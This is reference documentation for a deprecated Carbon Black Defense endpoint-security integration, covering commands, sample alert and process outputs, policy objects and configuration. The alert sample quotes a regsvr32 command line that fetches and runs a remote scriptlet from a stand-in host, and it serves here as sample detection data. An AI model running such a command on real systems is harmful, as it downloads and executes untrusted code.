CarbonBlackDefense.GetProcesses.ApplicationPath	Application path
CarbonBlackDefense.GetProcesses.PrivatePid	Private PID
CarbonBlackDefense.GetProcesses.Sha256Hash	SHA-256 hash
CarbonBlackDefense.GetProcesses.TotalResults	Total results

Command Example

!cbd-find-processes ipAddress="67.143.208.113" rows=2

Context Example

CarbonBlackDefense:{} 1 item
GetProcesses:[] 3 items
0:{} 6 items
ApplicationName:Google Chrome
ApplicationPath:/Applications/Google Chrome.app/Contents/MacOS/Google Chrome
NumEvents:3580
PrivatePid:81577-1533502547808-202
ProcessId:81577
Sha256Hash:19509e92f048f64692a3bc8786f7e74906541c4b548964c69a22ad9e44e43a2d
1:{} 6 items
ApplicationName:cloud-drive-ui
ApplicationPath:/Users/cberninger/.CloudStation/CloudStation.app/Contents/MacOS/cloud-drive-ui
NumEvents:2038
PrivatePid:1071-1533502548722-245
ProcessId:1071
Sha256Hash:f649ce0c8d5ca63be86e00877632c6390af772eed86c07b3db5b818c30ab700b
2:{} 1 item
TotalResults:2

Human Readable Output

ApplicationName	ApplicationPath	NumEvents	PrivatePid	ProcessId	Sha256Hash
Google Chrome	/Applications/Google Chrome.app/Contents/MacOS/Google Chrome	3580	81577-1533502547808-202	81577	19509e92f048f64692a3bc8786f7e74906541c4b548964c69a22ad9e44e43a2d
cloud-drive-ui	/Users/cberninger/.CloudStation/CloudStation.app/Contents/MacOS/cloud-drive-ui	2038	1071-1533502548722-245	1071	f649ce0c8d5ca63be86e00877632c6390af772eed86c07b3db5b818c30ab700b

Get alert details

Returns the details of a specified alert.

Base Command

cbd-get-alert-details

Input

Parameter	Description
alertId	Alert ID

Context Output

Path	Description
CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceType	Device type
CarbonBlackDefense.GetAlertDetails.DeviceInfo.Group	Group
CarbonBlackDefense.GetAlertDetails.DeviceInfo.GroupId	Group ID
CarbonBlackDefense.GetAlertDetails.DeviceInfo.RegisteredTime	Registered time
CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceId	Device ID
CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceName	Device name
CarbonBlackDefense.GetAlertDetails.DeviceInfo.Status	Status
CarbonBlackDefense.GetAlertDetails.DeviceInfo.OsVersion	OS version
CarbonBlackDefense.GetAlertDetails.DeviceInfo.SensorVersion	Sensor version
CarbonBlackDefense.GetAlertDetails.DeviceInfo.UserName	User name
CarbonBlackDefense.GetAlertDetails.DeviceInfo.Importance	Importance
CarbonBlackDefense.GetAlertDetails.DeviceInfo.Message	Message
CarbonBlackDefense.GetAlertDetails.DeviceInfo.Success	Success
CarbonBlackDefense.GetAlertDetails.Events.ParentHash	Parent hash
CarbonBlackDefense.GetAlertDetails.Events.PolicyState	Policy state
CarbonBlackDefense.GetAlertDetails.Events.LongDescription	Long description
CarbonBlackDefense.GetAlertDetails.Events.ParentPid	Parent PID
CarbonBlackDefense.GetAlertDetails.Events.ProcessId	Process ID
CarbonBlackDefense.GetAlertDetails.Events.ThreatIndicators	Threat indicators
CarbonBlackDefense.GetAlertDetails.Events.ApplicationPath	Application path
CarbonBlackDefense.GetAlertDetails.Events.ProcessHash	Process hash
CarbonBlackDefense.GetAlertDetails.Events.ProcessMd5Hash	Process MD5 hash
CarbonBlackDefense.GetAlertDetails.Events.EventId	Event ID
CarbonBlackDefense.GetAlertDetails.Events.EventTime	Event time
CarbonBlackDefense.GetAlertDetails.Events.EventType	Event type
CarbonBlackDefense.GetAlertDetails.Events.KillChainStatus	Kill chain status
CarbonBlackDefense.GetAlertDetails.Events.ParentName	Parent name
CarbonBlackDefense.GetAlertDetails.Events.ParentPPid	ParentP PID
CarbonBlackDefense.GetAlertDetails.Events.ProcessPPid	ProcessP PID
CarbonBlackDefense.GetAlertDetails.ThreatInfo.IncidentId	Incident ID
CarbonBlackDefense.GetAlertDetails.ThreatInfo.Indicators.ApplicationName	Application name
CarbonBlackDefense.GetAlertDetails.ThreatInfo.Indicators.IndicatorName	Indicator name
CarbonBlackDefense.GetAlertDetails.ThreatInfo.Indicators.Sha256Hash	SHA-256 hash
CarbonBlackDefense.GetAlertDetails.ThreatInfo.Summary	Summary
CarbonBlackDefense.GetAlertDetails.ThreatInfo.ThreatId	Threat ID
CarbonBlackDefense.GetAlertDetails.ThreatInfo.ThreatScore	Threat score
CarbonBlackDefense.GetAlertDetails.ThreatInfo.Time	Time

Command Example

!cbd-get-alert-details alertId=HWOXYQ6P

Context Example

Account:{} 2 items
CarbonBlackDefense:{} 2 items
GetAlertDetails:{} 1 item
DeviceInfo:{} 4 items
DeviceInfo:{} 13 items
DeviceName:ECIADWS7
Success:true
Message:success
RegisteredTime:1525879595477
DeviceType:WINDOWS
DeviceId:896327
Status:REGISTERED
OsVersion:Windows 7 x86 SP: 1
Importance:MEDIUM
UserName:EVILCORP\Expel
GroupId:0
SensorVersion:3.1.0.100
Group:null
Events:{} 17 items
OrgId:1105
ThreatInfo:{} 6 items
IncidentId:HWOXYQ6P
Indicators:{} 3 items
ApplicationName:[] 64 items
IndicatorName:[] 64 items
Sha256Hash:[] 64 items
Summary:The application regsvr32.exe is executing an encoded fileless script.
ThreatId:218c1859d76eb42113590f9da21e2cec
ThreatScore:5
Time:1533253999790
GetProcesses:[] 3 items
0:{} 6 items
ApplicationName:Google Chrome
ApplicationPath:/Applications/Google Chrome.app/Contents/MacOS/Google Chrome
NumEvents:3580
PrivatePid:81577-1533502547808-202
ProcessId:81577
Sha256Hash:19509e92f048f64692a3bc8786f7e74906541c4b548964c69a22ad9e44e43a2d
1:{} 6 items
ApplicationName:cloud-drive-ui
ApplicationPath:/Users/cberninger/.CloudStation/CloudStation.app/Contents/MacOS/cloud-drive-ui
NumEvents:2038
PrivatePid:1071-1533502548722-245
ProcessId:1071
Sha256Hash:f649ce0c8d5ca63be86e00877632c6390af772eed86c07b3db5b818c30ab700b
2:{} 1 item
TotalResults:2
Endpoint:{} 2 items
Hostname:ECIADWS7
OS:WINDOWS
Process:{} 7 items
CommandLine:regsvr32.exe /s /u /i:http://example.com/file.sct scrobj.dll
Endpoint:ECIADWS7
MD5:432be6cf7311062633459eef6b242fb5
PID:12804
ParentID:10808
ParentName:alert_generator.bat
Path:C:\Windows\System32\regsvr32.exe

Get all policy details.

Returns the details of all policies. the details

Base Command

cbd-get-policies

Input

There is no input for this command.

Context Output

Path	Description
CarbonBlackDefense.GetPolicies.Id	The policy ID
CarbonBlackDefense.GetPolicies.PriorityLevel	The policy's priority level
CarbonBlackDefense.GetPolicies.SystemPolicy	System policy (boolean)
CarbonBlackDefense.GetPolicies.LatestRevision	The policy's latest revision
CarbonBlackDefense.GetPolicies.Policy	The policy object

Command Example

!cbd-get-policies

Context Example

CarbonBlackDefense:{} 1 item
GetPolicies:[] 40 items
0:{} 5 items
Id:6525
LatestRevision:1488926710902
Policy:{} 6 items
avSettings:{} 6 items
apc:{} 4 items
enabled:false
maxExeDelay:45
maxFileSize:4
riskLevel:4
features:[] 3 items
0:{} 2 items
enabled:false
name:SIGNATURE_UPDATE
1:{} 2 items
enabled:false
name:ONACCESS_SCAN
2:{} 2 items
enabled:true
name:ONDEMAND_SCAN
onAccessScan:{} 1 item
profile:NORMAL
onDemandScan:{} 4 items
profile:NORMAL
scanCdDvd:AUTOSCAN
scanUsb:AUTOSCAN
schedule:{} 4 items
days:null
rangeHours:0
recoveryScanIfMissed:true
startHour:0
signatureUpdate:{} 1 item
schedule:{} 3 items
fullIntervalHours:0
initialRandomDelayHours:4
intervalHours:4
updateServers:{} 2 items
servers:[] 1 item
0:{} 3 items
flags:0
regId:null
server:[] 1 item
0:http://updates.cdc.carbonblack.io/update
serversForOffSiteDevices:[] 1 item
0:http://updates.cdc.carbonblack.io/update
directoryActionRules:[] 0 items
id:-1
knownBadHashAutoDeleteDelayMs:null
rules:[] 0 items
sensorSettings:[] 24 items
0:{} 2 items
name:ALLOW_UNINSTALL
value:true
1:{} 2 items
name:ALLOW_UPLOADS
value:false
2:{} 2 items
name:SHOW_UI
value:false
3:{} 2 items
name:ENABLE_THREAT_SHARING
value:true
4:{} 2 items
name:QUARANTINE_DEVICE
value:false
5:{} 2 items
name:LOGGING_LEVEL
value:NORMAL
6:{} 2 items
name:QUARANTINE_DEVICE_MESSAGE
value:Your device has been quarantined. Please contact your administrator.
7:{} 2 items
name:SET_SENSOR_MODE
value:0
8:{} 2 items
name:SENSOR_RESET
value:0
9:{} 2 items
name:BACKGROUND_SCAN
value:false
10:{} 2 items
name:POLICY_ACTION_OVERRIDE
value:true
11:{} 2 items
name:HELP_MESSAGE
value:
12:{} 2 items
name:PRESERVE_SYSTEM_MEMORY_SCAN
value:false
13:{} 2 items
name:HASH_MD5
value:false
14:{} 2 items
name:SCAN_LARGE_FILE_READ
value:false
15:{} 2 items
name:SCAN_EXECUTE_ON_NETWORK_DRIVE
value:false
16:{} 2 items
name:DELAY_EXECUTE
value:false
17:{} 2 items
name:SCAN_NETWORK_DRIVE
value:false
18:{} 2 items
name:BYPASS_AFTER_LOGIN_MINS
value:0
19:{} 2 items
name:BYPASS_AFTER_RESTART_MINS
value:0
20:{} 2 items
name:SHOW_FULL_UI
value:false
21:{} 2 items
name:SECURITY_CENTER_OPT
value:false
22:{} 2 items
name:CB_LIVE_RESPONSE
value:false
23:{} 2 items
name:UNINSTALL_CODE
value:false
PriorityLevel:MEDIUM
SystemPolicy:true

Get the details of a specified policy

Returns the details of a specified policy.

Base Command

cbd-get-policy

Input

Parameter	Description
policyId	Policy ID

Context Output

Path	Description
CarbonBlackDefense.GetPolicy.Id	The policy ID
CarbonBlackDefense.GetPolicy.PriorityLevel	The policy's priority level
CarbonBlackDefense.GetPolicy.SystemPolicy	System policy (boolean)
CarbonBlackDefense.GetPolicy.LatestRevision	The policy's latest revision
CarbonBlackDefense.GetPolicy.Policy	The policy object

Command Example

!cbd-get-policy policyId=6525

Context Example

CarbonBlackDefense:{} 1 item
GetPolicy:{} 5 items
Id:6525
LatestRevision:1488926710902
Policy:{} 6 items
avSettings:{} 6 items
apc:{} 4 items
enabled:false
maxExeDelay:45
maxFileSize:4
riskLevel:4
features:[] 3 items
0:{} 2 items
enabled:false
name:SIGNATURE_UPDATE
1:{} 2 items
enabled:false
name:ONACCESS_SCAN
2:{} 2 items
enabled:true
name:ONDEMAND_SCAN
onAccessScan:{} 1 item
profile:NORMAL
onDemandScan:{} 4 items
profile:NORMAL
scanCdDvd:AUTOSCAN
scanUsb:AUTOSCAN
schedule:{} 4 items
days:null
rangeHours:0
recoveryScanIfMissed:true
startHour:0
signatureUpdate:{} 1 item
schedule:{} 3 items
fullIntervalHours:0
initialRandomDelayHours:4
intervalHours:4
updateServers:{} 2 items
servers:[] 1 item
0:{} 3 items
flags:0
regId:null
server:[] 1 item
0:http://updates.cdc.carbonblack.io/update
serversForOffSiteDevices:[] 1 item
0:http://updates.cdc.carbonblack.io/update
directoryActionRules:[] 0 items
id:-1
knownBadHashAutoDeleteDelayMs:null
rules:[] 0 items
sensorSettings:[] 24 items
0:{} 2 items
name:ALLOW_UNINSTALL
value:true
1:{} 2 items
name:ALLOW_UPLOADS
value:false
2:{} 2 items
name:SHOW_UI
value:false
3:{} 2 items
name:ENABLE_THREAT_SHARING
value:true
4:{} 2 items
name:QUARANTINE_DEVICE
value:false
5:{} 2 items
name:LOGGING_LEVEL
value:NORMAL
6:{} 2 items
name:QUARANTINE_DEVICE_MESSAGE
value:Your device has been quarantined. Please contact your administrator.
7:{} 2 items
name:SET_SENSOR_MODE
value:0
8:{} 2 items
name:SENSOR_RESET
value:0
9:{} 2 items
name:BACKGROUND_SCAN
value:false
10:{} 2 items
name:POLICY_ACTION_OVERRIDE
value:true
11:{} 2 items
name:HELP_MESSAGE
value:
12:{} 2 items
name:PRESERVE_SYSTEM_MEMORY_SCAN
value:false
13:{} 2 items
name:HASH_MD5
value:false
14:{} 2 items
name:SCAN_LARGE_FILE_READ
value:false
15:{} 2 items
name:SCAN_EXECUTE_ON_NETWORK_DRIVE
value:false
16:{} 2 items
name:DELAY_EXECUTE
value:false
17:{} 2 items
name:SCAN_NETWORK_DRIVE
value:false
18:{} 2 items
name:BYPASS_AFTER_LOGIN_MINS
value:0
19:{} 2 items
name:BYPASS_AFTER_RESTART_MINS
value:0
20:{} 2 items
name:SHOW_FULL_UI
value:false
21:{} 2 items
name:SECURITY_CENTER_OPT
value:false
22:{} 2 items
name:CB_LIVE_RESPONSE
value:false
23:{} 2 items
name:UNINSTALL_CODE
value:false
PriorityLevel:MEDIUM
SystemPolicy:true

Human Readable Output

Id	6525
LatestRevision	1488926710902
Policy	{"rules":[],"id":-1,"sensorSettings":[{"name":"ALLOW_UNINSTALL","value":"true"},{"name":"ALLOW_UPLOADS","value":"false"},{"name":"SHOW_UI","value":"false"},{"name":"ENABLE_THREAT_SHARING","value":"true"},{"name":"QUARANTINE_DEVICE","value":"false"},{"name":"LOGGING_LEVEL","value":"NORMAL"},{"name":"QUARANTINE_DEVICE_MESSAGE","value":"Your device has been quarantined. Please contact your administrator."},{"name":"SET_SENSOR_MODE","value":"0"},{"name":"SENSOR_RESET","value":"0"},{"name":"BACKGROUND_SCAN","value":"false"},{"name":"POLICY_ACTION_OVERRIDE","value":"true"},{"name":"HELP_MESSAGE","value":""},{"name":"PRESERVE_SYSTEM_MEMORY_SCAN","value":"false"},{"name":"HASH_MD5","value":"false"},{"name":"SCAN_LARGE_FILE_READ","value":"false"},{"name":"SCAN_EXECUTE_ON_NETWORK_DRIVE","value":"false"},{"name":"DELAY_EXECUTE","value":"false"},{"name":"SCAN_NETWORK_DRIVE","value":"false"},{"name":"BYPASS_AFTER_LOGIN_MINS","value":"0"},{"name":"BYPASS_AFTER_RESTART_MINS","value":"0"},{"name":"SHO ...http://updates.cdc.carbonblack.io/update"],"servers":[{"server":["http://updates.cdc.carbonblack.io/update"],"flags":0,"regId":null}]},"apc":{"maxFileSize":4,"maxExeDelay":45,"riskLevel":4,"enabled":false},"onAccessScan":{"profile":"NORMAL"},"onDemandScan":{"profile":"NORMAL","scanCdDvd":"AUTOSCAN","scanUsb":"AUTOSCAN","schedule":{"days":null,"rangeHours":0,"startHour":0,"recoveryScanIfMissed":true}},"signatureUpdate":{"schedule":{"intervalHours":4,"fullIntervalHours":0,"initialRandomDelayHours":4}}},"knownBadHashAutoDeleteDelayMs":null,"directoryActionRules":[]}
PriorityLevel	MEDIUM
SystemPolicy	true

Create a policy

Creates a policy, as prescribed by further input.

Base Command

cbd-create-policy

Input

Parameter	Description
description	Policy description
name	A single line name for the policy
priorityLevel	Priority score associated with sensors assigned to this policy
policy	JSON object containing the policy details. Make sure a valid policy object is passed: Use the `get-policy` command to retrieve a similar policy object. Use the `set-policy` command to re-set some of the policy's fields. Use the modified object.

Context Output

Path	Description
CarbonBlackDefense.CreatePolicy.PolicyId	The new policy ID

Command Example

!cbd-create-policy priorityLevel=LOW name=YARDENTEST3 description=yardentesttest3 policy={ "policyInfo": { "description": "test policy for documentation", "name": "documentation test", "policy": { "avSettings": { "apc": { "enabled": false, "maxExeDelay": 45, "maxFileSize": 4, "riskLevel": 4 }, "features": [ { "enabled": false, "name": "SIGNATURE_UPDATE" }, { "enabled": true, "name": "ONACCESS_SCAN" }, { "enabled": true, "name": "ONDEMAND_SCAN" } ], "onAccessScan": { "profile": "NORMAL" }, "onDemandScan": { "profile": "NORMAL", "scanCdDvd": "AUTOSCAN", "scanUsb": "AUTOSCAN", "schedule": { "days": null, "rangeHours": 0, "recoveryScanIfMissed": true, "startHour": 0 } }, "signatureUpdate": { "schedule": { "fullIntervalHours": 0, "initialRandomDelayHours": 4, "intervalHours": 2 } }, "updateServers": { "servers": [ { "flags": 0, "regId": null, "server": [ "http://updates.cdc.carbonblack.io/update" ] } ], "serversForOffSiteDevices": [ "http://updates.cdc.carbonblack.io/update" ] } }, "directoryActionRules": [ { "actions": { "FILE_UPLOAD": false, "PROTECTION": false }, "path": "C:\\FXCM\\**" }, { "actions": { "FILE_UPLOAD": true, "PROTECTION": false }, "path": "sadf" }, { "actions": { "FILE_UPLOAD": true, "PROTECTION": false }, "path": "/Users/**" } ], "id": -1, "rules": [ { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 1, "operation": "RUN", "required": true }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "COMPANY_BLACK_LIST" }, "id": 2, "operation": "RUN", "required": true }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 3, "operation": "NETWORK", "required": false }, { "action": "TERMINATE", "application": { "type": "REPUTATION", "value": "ADAPTIVE_WHITE_LIST" }, "id": 5, "operation": "RANSOM", "required": false }, { "action": "IGNORE", "application": { "type": "NAME_PATH", "value": "**\\devenv.exe" }, "id": 4, "operation": "RANSOM", "required": false }, { "action": "DENY", "application": { "type": "NAME_PATH", "value": "%SystemDrive%\\Windows\\System32\\notepad2.exe" }, "id": 10, "operation": "RUN", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 11, "operation": "RANSOM", "required": true }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 13, "operation": "MEMORY_SCRAPE", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 14, "operation": "CODE_INJECTION", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 15, "operation": "RUN_INMEMORY_CODE", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 17, "operation": "POL_INVOKE_NOT_TRUSTED", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 18, "operation": "INVOKE_CMD_INTERPRETER", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "KNOWN_MALWARE" }, "id": 20, "operation": "INVOKE_SCRIPT", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "RESOLVING" }, "id": 22, "operation": "RUN", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "PUP" }, "id": 23, "operation": "RUN", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "SUSPECT_MALWARE" }, "id": 24, "operation": "RUN", "required": false }, { "action": "DENY", "application": { "type": "REPUTATION", "value": "ADAPTIVE_WHITE_LIST" }, "id": 25, "operation": "NETWORK", "required": false }, { "action": "ALLOW", "application": { "type": "NAME_PATH", "value": "c:\\test\\**" }, "id": 26, "operation": "INVOKE_SCRIPT", "required": false } ], "sensorSettings": [ { "name": "SHOW_UI", "value": "true" }, { "name": "BACKGROUND_SCAN", "value": "true" }, { "name": "POLICY_ACTION_OVERRIDE", "value": "true" }, { "name": "QUARANTINE_DEVICE_MESSAGE", "value": "Your device has been quarantined by your computer administrator." }, { "name": "LOGGING_LEVEL", "value": "false" }, { "name": "ALLOW_UNINSTALL", "value": "true" }, { "name": "QUARANTINE_DEVICE", "value": "false" }, { "name": "RATE_LIMIT", "value": "0" }, { "name": "CONNECTION_LIMIT", "value": "0" }, { "name": "QUEUE_SIZE", "value": "100" }, { "name": "LEARNING_MODE", "value": "0" }, { "name": "SCAN_NETWORK_DRIVE", "value": "true" }, { "name": "BYPASS_AFTER_LOGIN_MINS", "value": "0" }, { "name": "BYPASS_AFTER_RESTART_MINS", "value": "0" }, { "name": "SCAN_EXECUTE_ON_NETWORK_DRIVE", "value": "true" }, { "name": "DELAY_EXECUTE", "value": "true" }, { "name": "PRESERVE_SYSTEM_MEMORY_SCAN", "value": "false" }, { "name": "HASH_MD5", "value": "false" }, { "name": "SCAN_LARGE_FILE_READ", "value": "false" }, { "name": "SHOW_FULL_UI", "value": "true" }, { "name": "HELP_MESSAGE", "value": "CarbonBlack" }, { "name": "SECURITY_CENTER_OPT", "value": "true" }, { "name": "CB_LIVE_RESPONSE", "value": "true" }, { "name": "UNINSTALL_CODE", "value": "false" } ] }, "priorityLevel": "LOW", "version": 2 } }

Context Example

CarbonBlackDefense:{} 1 item
CreatePolicy:{} 1 item
PolicyId:21356

Human Readable Output

PolicyId	21356

Update a policy

Updates an existing policy.

Base Command

cbd-update-policy

Input

Parameter	Description
description	Policy description
name	A single line name for the policy
priorityLevel	Priority score associated with sensors assigned to this policy.
id	The ID of the policy to update.
policy	JSON object containing the policy details. Make sure a valid policy object is passed: Use the `get-policy` command to retrieve a similar policy object. Use the `set-policy` command to re-set some of the policy's fields. Use the modified object.

Context Output

There is no context output for this command.

Command Example

!cbd-update-policy id=21355 priorityLevel=LOW description="woot" name="boot" policy={"knownBadHashAutoDeleteDelayMs":null,"directoryActionRules":[],"rules":[],"id":-1,"sensorSettings":[{"name":"ALLOW_UNINSTALL","value":"true"},{"name":"ALLOW_UPLOADS","value":"false"},{"name":"SHOW_UI","value":"false"},{"name":"ENABLE_THREAT_SHARING","value":"true"},{"name":"QUARANTINE_DEVICE","value":"false"},{"name":"LOGGING_LEVEL","value":"NORMAL"},{"name":"QUARANTINE_DEVICE_MESSAGE","value":"Your device has been quarantined. Please contact your administrator."},{"name":"SET_SENSOR_MODE","value":"0"},{"name":"SENSOR_RESET","value":"0"},{"name":"BACKGROUND_SCAN","value":"false"},{"name":"POLICY_ACTION_OVERRIDE","value":"true"},{"value":"","name":"HELP_MESSAGE"},{"value":"false","name":"PRESERVE_SYSTEM_MEMORY_SCAN"},{"value":"false","name":"HASH_MD5"},{"name":"SCAN_LARGE_FILE_READ","value":"false"},{"name":"SCAN_EXECUTE_ON_NETWORK_DRIVE","value":"false"},{"name":"DELAY_EXECUTE","value":"false"},{"name":"SCAN_NETWORK_DRIVE","value":"false"},{"name":"BYPASS_AFTER_LOGIN_MINS","value":"0"},{"name":"BYPASS_AFTER_RESTART_MINS","value":"0"},{"name":"SHOW_FULL_UI","value":"false"},{"name":"SECURITY_CENTER_OPT","value":"false"},{"name":"CB_LIVE_RESPONSE","value":"false"},{"name":"UNINSTALL_CODE","value":"false"}],"avSettings":{"signatureUpdate":{"schedule":{"initialRandomDelayHours":4,"fullIntervalHours":0,"intervalHours":4}},"features":[{"enabled":false,"name":"SIGNATURE_UPDATE"},{"enabled":false,"name":"ONACCESS_SCAN"},{"name":"ONDEMAND_SCAN","enabled":true}],"updateServers":{"servers":[{"flags":0,"regId":null,"server":["http://updates.cdc.carbonblack.io/update"]}],"serversForOffSiteDevices":["http://updates.cdc.carbonblack.io/update"]},"apc":{"maxExeDelay":45,"riskLevel":4,"enabled":false,"maxFileSize":4},"onAccessScan":{"profile":"NORMAL"},"onDemandScan":{"profile":"NORMAL","scanCdDvd":"AUTOSCAN","scanUsb":"AUTOSCAN","schedule":{"startHour":0,"recoveryScanIfMissed":true,"days":null,"rangeHours":0}}}}

Human Readable Output

Request Success

Delete a policy

Deletes a specified policy.

Base Command

cbd-delete-policy

Input

Parameter	Description
policyId	Policy ID

Context Output

There is no context output for this command.

Human Readable Output

Request Success

Add a rule to a policy

Adds a specified rule to a specified policy.

Base Command

cbd-add-rule-to-policy

Input

Parameter	Description
action	Rule action
operation	Rule operation
required	Rule required
id	Rule ID
type	Application type
value	Application value
policyId	Policy ID

Context Output

There is no context output for this command.

Command Example

!cbd-add-rule-to-policy action="TERMINATE" id="7777" operation="RANSOM" required="false" type="REPUTATION" policyId="21355" value="COMPANY_BLACK_LIST"

Human Readable Output

Request Success

Delete a rule from a policy

Deletes a specified rule from a specified policy.

Base Command

cbd-delete-rule-from-policy

Input

Parameter	Description
policyId	ID of the policy to delete the rule from
ruleId	ID of the rule to delete

Context Output

There is no context output for this command.

Command Example

!cbd-delete-rule-from-policy ruleId=2 policyId=21355

Human Readable Output

Request Success

Update a rule in a policy

Updates a rule in a specified policy.

Base Command

cbd-update-rule-in-policy

Input

Parameter	Description
action	Rule action
operation	Rule operation
required	Rule required
id	Rule ID
type	Application type
value	Application value
policyId	Policy ID

Context Output

There is no context output for this command.

Command Example

!cbd-update-rule-in-policy action="TERMINATE" id=1 operation=RANSOM policyId=21355 required=false type=REPUTATION value=COMPANY_BLACK_LIST

Human Readable Output

Request Success

Set a policy

Sets a specified policy.

Base Command

cbd-set-policy

Input

Parameter	Description
keyValue	A JSON object that holds key-value pairs. Key is the field path in the policy object to update with value.
policy	The policy to set.

Context Output

There is no context output for this command.

Configuration parameters

url — Server URL (e.g. https://192.168.0.1) (required)
key — API Key (required)
version — API Version (required)
connectorId — Connector ID (required)
isFetch — Fetch incidents
incidentType — Incident type
siemKey — SIEM key. Use to fetch incidents.
siemConnector — SIEM Connector ID. Use to fetch incidents.
insecure — Trust any certificate (not secure)
proxy — Use system proxy settings

Commands (16)

cbd-add-rule-to-policy
Add a new rule to an existing policy. Please note that system policies cannot be modified.
cbd-change-device-status
Change status of an individual device by its device ID. The requested security policy can be indicated either as a policy ID (policyId) or policy name (policyName).The current revision of the Cb Defense backend only allows one element to be changed with this call: the security policy assigned to the device. For example policyName=Restrictive_Windows_Workstation
cbd-create-policy
Create a new Policy on the Cb Defense backend.
cbd-delete-policy
Delete a policy from the Cb Defense backend. This may return an error if devices are actively assigned to the policy id requested for deletion. Please note that system policies cannot be deleted.
cbd-delete-rule-from-policy
Removes a rule from an existing policy. Please note that system policies cannot be modified.
cbd-find-event
Retrieve details for an individual event given the event ID
cbd-find-events
Retrieves all events matching the input search criteria.
cbd-find-processes
Find processes associated with a specific indicator or IP address filter. Only API keys of type “API” can call the processes API.
cbd-get-alert-details
Get details on the events that led to an alert. This includes retrieving metadata around the alert as well as a list of all the events associated with the alert. Only API keys of type “API” can call the alerts API.
cbd-get-device-status
Retrieve details for an individual device given the device ID.
cbd-get-devices-status
Get a status of all devices. Optionally you can include a query parameter to filter the results. Combining these query parameters is an implicit “AND”.
cbd-get-policies
Get the list of policies available in your organization.
cbd-get-policy
Retrieve a policy object by ID.
cbd-set-policy
Re-set policy fields.
cbd-update-policy
Update an existing policy with a new policy. Please note that system policies cannot be modified.
cbd-update-rule-in-policy
Update an existing rule with a new rule. Please note that system policies cannot be modified.

Source

CarbonBlackDefense.js CarbonBlackDefense.yml CarbonBlackDefense_description.md

Download History Raw

commonfields:
  id: Carbon Black Defense
  version: -1
name: Carbon Black Defense
display: VMware Carbon Black Endpoint Standard (Deprecated)
deprecated: true
category: Endpoint
provider: VMware
description: Deprecated. Use Carbon Black Endpoint Standard instead.
configuration:
- display: Server URL (e.g. https://192.168.0.1)
  name: url
  defaultvalue: ""
  type: 0
  required: true
- display: API Key
  name: key
  defaultvalue: ""
  type: 4
  required: true
- display: API Version
  name: version
  defaultvalue: v3
  type: 0
  required: true
- display: Connector ID
  name: connectorId
  defaultvalue: ""
  type: 0
  required: true
- display: Fetch incidents
  name: isFetch
  type: 8
  required: false
- display: Incident type
  name: incidentType
  type: 13
  required: false
- display: SIEM key. Use to fetch incidents.
  name: siemKey
  defaultvalue: ""
  type: 4
  required: false
- display: SIEM Connector ID. Use to fetch incidents.
  name: siemConnector
  defaultvalue: ""
  type: 0
  required: false
- display: Trust any certificate (not secure)
  name: insecure
  defaultvalue: ""
  type: 8
  required: false
- display: Use system proxy settings
  name: proxy
  defaultvalue: ""
  type: 8
  required: false
script:
  script: ''
  type: javascript
  commands:
  - name: cbd-get-devices-status
    arguments:
    - name: hostName
      description: Query parameter. Filter on hostnames based on a case insensitive token search.
    - name: hostNameExact
      description: Query parameter. Filter on the exact hostname
    - name: ownerName
      description: Query parameter. Filter on owner name case insensitively.
    - name: ownerNameExact
      description: Query parameter. Same as ownerName but with case sensitivity
    - name: ipAddress
      description: Query parameter. Filter on devices with a given external or internal IP address
    - name: start
      description: Wanted first row number from the result (starting from 1).
    - name: rows
      description: Wanted maximum number of rows from the result. This parameter can be limited on the Cb Defense server side.
    outputs:
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.ActivationCodeExpiryTime
      description: Activation Code Expiry Time
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.LastExternalIpAddress
      description: Last External IpAddress
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.LastLocation
      description: Last Location
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.LastReportedTime
      description: Last Reported Time
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.LastShutdownTime
      description: Last Shutdown Time
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.OsVersion
      description: Os Version
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.PolicyId
      description: Policy Id
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.RegisteredTime
      description: Registered Time
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.Status
      description: Status
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.DeviceId
      description: Device Id
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.DeviceOwnerId
      description: Device Owner Id
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.DeviceType
      description: Device Type
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.OrganizationId
      description: Organization Id
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.SensorVersion
      description: Sensor Version
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.TargetPriorityType
      description: Target Priority Type
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.Email
      description: Email
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.LastContact
      description: Last Contact
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.OrganizationName
      description: Organization Name
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.SensorStates
      description: SensorStates
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.AvStatus
      description: AvStatus
